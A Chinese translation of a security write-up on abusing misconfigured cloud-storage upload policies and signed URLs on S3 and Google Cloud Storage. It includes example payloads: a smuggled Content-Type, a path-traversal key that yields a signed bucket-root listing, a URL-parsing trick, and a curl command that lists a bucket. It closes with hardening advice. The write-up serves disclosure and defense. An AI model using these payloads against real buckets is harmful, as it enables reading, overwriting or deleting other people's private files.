如何繞過並利用Bucket的上傳策略和URL簽名
簡介
Bucket上傳策略是一種直接從客戶端向Bucket(存儲空間)上傳數據的便捷方式。通過上傳策略中的規則以及與訪問某些文件的相關邏輯,我們將展示如何拿到完整的Bucket對象列表,同時能夠修改或刪除Bucket中的現有文件。
什麼是Bucket策略
(如果你早已經知道了什麼是Bucket策略和URL簽名,那麼你完全可以直接跳轉到下面的「利用」部分)
Bucket策略是一種將內容直接上傳到基於雲端的大型存儲區(如Google雲端存儲或AWS S3)的安全方式。我們的想法是創建一個定義有檢驗是否允許文件上傳的策略,隨後使用密鑰對策略進行簽名,並將策略和簽名提交給客戶端。
然後,客戶端可以直接將文件上傳到Bucket,Bucket存儲會驗證上傳的內容和策略是否匹配。如果匹配,則上傳文件。
上傳策略與URL預簽名
在開始之前,我們需要明確指出有多種方法可以訪問Bucket中的對象。使用POST請求訪問Bucket時,POST策略(AWS)和POST對象 (谷歌雲存儲)方式只允許上傳內容。
另一種稱為URL預簽名(AWS)或URL簽名(Google雲端存儲)的方式就不僅僅是可以修改對象。我們是否可以PUT、DELETE或GET 默認的私有對象,這取決於預簽名邏輯定義的HTTP方式。
在定義內容類型(Content-Type)、訪問控制和文件上傳時,URL預簽名與POST策略相比會相對寬鬆。使用錯誤的自定義邏輯也會更頻繁地執行URL簽名,如下所示。
這裡有很多允許某人訪問上傳內容的方法,其中一個是AssumeRoleWithWebIdentity ,類似於POST策略,區別在於你可以獲得由預定義的IAM Role(身份和訪問管理角色)創建的臨時安全憑證(ASIA *)。
如何發現上傳策略或URL簽名
這是使用POST方法的上傳請求,如下所示:
該策略使用的是ba64編碼的JSON,如下所示:
{ "expiration":"2018-07-31T13:55:50Z", "conditions": [ {"bucket": "bucket-name"}, ["starts-with", "$key", "acc123"], {"acl": "public-read"}, {"success_action_redirect":"https://dashboard.example.com/"}, ["starts-with", "$Content-Type", ""], ["content-length-range", 0, 524288] ]}
在AWS S3上的類似於下面的URL簽名:
https://bucket-name.s3.amazonaws.com/?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA…
就像谷歌雲存儲一樣:
HTTPS ://storage.googleapis.com/uploads/images/test.png?Expires=1515198382&GoogleAccessId=example%40example.iam.gserviceaccount.com&Signature=dlMA---
上傳策略的利用
如果我們想要發現策略中的錯誤,並對其進行利用,那麼我們需要定義一些不同的屬性:
l Access = Yes-在上傳後,我們是否可以以某種方式訪問該文件。在策略中ACL是否被定義為public-read或者能夠接收上傳文件的URL預簽名。在策略中上傳但未定義ACL的對象默認為私有。
l Inline=Yes-如果你能夠修改content-disposition文件,那麼我們可以在內聯中提供內容。如果策略中根本沒有定義,那麼文件則以內聯方式提供。
1. starts-with $key是空的
例:
["starts-with", "$key",""]
可以上傳文件到Bucket中的任何位置,覆蓋任何對象。你可以將key屬性設置為任何內容,並且接受該策略。
注意:在某些情況下,這種利用很困難。例如,只有一個Bucket用於上傳從未公開的或以後會使用的名為UUID(通用唯一標識符)的對象。在這種情況下,我們不知道要覆蓋哪些文件,並且無法知道Bucket中其他對象的名稱。
2. starts-with $key不包含路徑分隔符或為所有用戶都用相同的路徑
例:
["starts-with", "$key","acc_1322342m3423"]
如果策略的 $key部分包含一個已定義的部分,但是沒有路徑分隔符,我們可以將內容直接放在Bucket的根目錄中。如果 Access=Yes和 Inline=Yes,並取決於content-type的類型(參見#3和#4),我們則可以通過安裝AppCache-manifest來竊取其他用戶上傳的URL(AppCache中的相關漏洞是由我和 @avlidienbrunn以及@filedescriptor分別發現的)。
如果上傳對象的路徑對所有用戶都是相同的,那這個問題也一樣適用。
3. starts-with $Content-Type為空
例:
["starts-with","$Content-Type", ""]
如果Access=Yes 和Inline=Yes,我們就可以在Bucket域上傳text/html並提供此服務,如#2所示,我們可以使用它來運行javascript或在此路徑上安裝AppCache-manifest,這意味著在此路徑下訪問的所有文件都將泄露給攻擊者。
4.使用starts-with $Content-Type定義內容類型
例:
["starts-with","$Content-Type", "image/jpeg"]
這個和#3一樣,我們可以添加一些內容來使第一個內容類型成為一個未知的mime類型,隨後追加text/html,文件將被認作為text/html類型:
Content-type: image/jpegz;text/html
此外,如果S3-Bucket託管在公司的子域中,通過利用上述策略,我們還可以通過上傳HTML文件在域上運行javascript。
最有意思的部分是在沙盒域上通過上傳內容來利用網站。
使用自定義邏輯利用URL簽名
URL簽名是在伺服器端簽名並提交給客戶端,以允許它們上傳、修改或訪問內容。最常見的問題是網站構建自定義邏輯來檢索它們。
首先,要了解怎麼利用已簽名的URL,重要的是要知道在默認情況下,如何獲取Bucket根目錄下已簽名的且可以顯示Bucket的文件列表的GET-URL。這和使用公開列表Bucket的情況基本相同,不同之處在於此Bucket肯定包含其他用戶的私有數據。
請記住,當我們知道Bucket中的其它文件時,我們也可以為它們請求URL簽名,這就讓我們擁有了訪問私密文件的許可權。
因此,我們目標始終是嘗試獲根目錄或已知的另一個文件。
錯誤的自定義邏輯的示例
以下是一些示例,其中邏輯通過發出已簽名的GET-URL實際暴露了Bucket的根路徑。
1.使用get-image這個端點對Bucket進行完全可讀訪問
有以下要求:
https://freehand.example.com/api/get-image?key=abc&document=xyz
提供以下URL簽名:
https://prodapp.s3.amazonaws.com/documents/648475/images/abc?X-Amz-Algorithm=AWS4-HMAC-SHA256…
但是,端點在簽名之前對URL進行了規範化,因此通過遍歷路徑,我們實際上可以指向Bucket的根目錄:
https://freehand.example.com/api/get-image?key=../../../&document=xyz
結果:
https://prodapp.s3.amazonaws.com/?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA…
這個URL提供了Bucket中全部文件的列表。
2.因正則表達式解析URL簽名請求,導致可完全獲取讀許可權
這是另外一個示例,以下請求是在網站上的端點上獲取所需的對象的URL簽名:
POST /api/file_service/file_upload_policies/s3_url_signature.jsonHTTP/1.1Host: sectest.example.com {"url":"https://example-bucket.s3.amazonaws.com/dir/file.png"}
它會解析URL並將其部分附加到URL簽名,你將會得到這個:
{"signedUrl":"https://s3.amazonaws.com/example-bucket/dir/file.png?X-Amz-Algorithm=AWS4-HMAC..."}
可以使用s3.amazonaws.com上的子域和路徑訪問S3-bucket。在這種情況下,伺服器端邏輯規則會將URL更改為基於路徑的Bucket URL。
通過欺騙URL extraction,你可以發送如下內容:
{ 「url」 :「https://.x./example-bucket」}
它會返回一個URL簽名,如下所示:
{"signedURL":"https://s3.amazonaws.com//example-beta?X-Amz-Algorithm=AWS4-HMAC..."}
此URL將顯示Bucket的完整文件列表。
3.濫用臨時的URL簽名鏈接
這個示例來自兩年前,是我發現的第一個和URL簽名有關的問題。
在網站上,當你上傳文件時,你首先在 secure.example.com下創建了一個隨機密鑰:
POST /api/s3_file/ HTTP/1.1Host: secure.example.com {"id":null,"random_key":"abc-123-def-456-ghi-789","s3_key":"/file.jpg","uploader_id":71957,"employee_id":null}
然後,你會返回:
HTTP/1.1 201 CREATED {"employee_id":null,"s3_key": "/file.jpg", "uploader_id": 71957,"random_key":"abc-123-def-456-ghi-789", "id": null}
這意味著,以下的URL:
https://secure.example.com/files/abc-123-def-456-ghi-789
然後會重定向到:
Location:https://example.s3.amazonaws.com/file.jpg?Signature=i0YZ…
然後,可以發送以下的s3_key內容:
"random_key":"xx1234","s3_key":"/"
之後,會有以下URL:
https://secure.example.com/files/xx1234
重新定向到:
Location:https://example.s3.amazonaws.com/?Signature=i0YZ…
至此,我現在就擁有了他們Bucket的文件列表。該網站使用一個Bucket來存儲他們的所有數據,包含他們擁有的每一個文檔和文件。當我嘗試提取文件列表時,發現Bucket非常龐大,文件數量可以用百萬來計算。因此我直接將這個漏洞通報給了該公司,以下是他們的回復:
建議
應根據每個文件上傳請求或至少對每個用戶生成一個對應的上傳策略。
l $key應該有完整的定義:有一個唯一的、隨機的名稱以及隨機的路徑。
l 最好將content-disposition定義為attachment。
l acl 應該優先選擇 private 或者不要定義。
l content-type應該明確設置(不使用 starts-with)或者不要設置。
另外,永遠不要基於用戶的請求參數創建URL簽名,否則就會出現如上所示的情況。
我見過的最糟的情況是:
https://secure.example.com/api/file_upload_policies/multipart_signature?to_sign=GET%0A%0A%0A%0Ax-amz-date%3AFri%2C%2009%20Mar%202018%2000%3A11%3A28%20GMT%0A%2Fbucket-name%2F&datetime=Fri,%2009%20Mar%202018%2000:11:28%20GMT
你確實給了它你要簽名的請求,並且它也回復了你所要求的簽名:
0zfAa9zIBlXH76rTitXXXuhEyJI =
這可以用來製作獲取URL簽名的請求:
curl -H "Authorization: AWSAKIAJAXXPZR2XXX7ZXXX:0zfAa9zIBlXH76rTitXXXuhEyJI=" -H "x-amz-date:Fri, 09 Mar 2018 00:11:28 GMT" https://s3.amazonaws.com/bucket-name/
相同的簽名方法不僅僅適用於S3,它使得你能夠將你想要的每一個請求籤署到AWS-key被允許使用的任何AWS服務。
*參考來源:
detectify,Hydralab編譯,轉載請註明來自 FreeBuf.COM
※99%的人都不知道的秘密:世上竟有如此酷炫的釣魚系統!
※「3Q」從大戰四年到互相致謝,有些事值得放下恩怨
TAG:FreeBuf |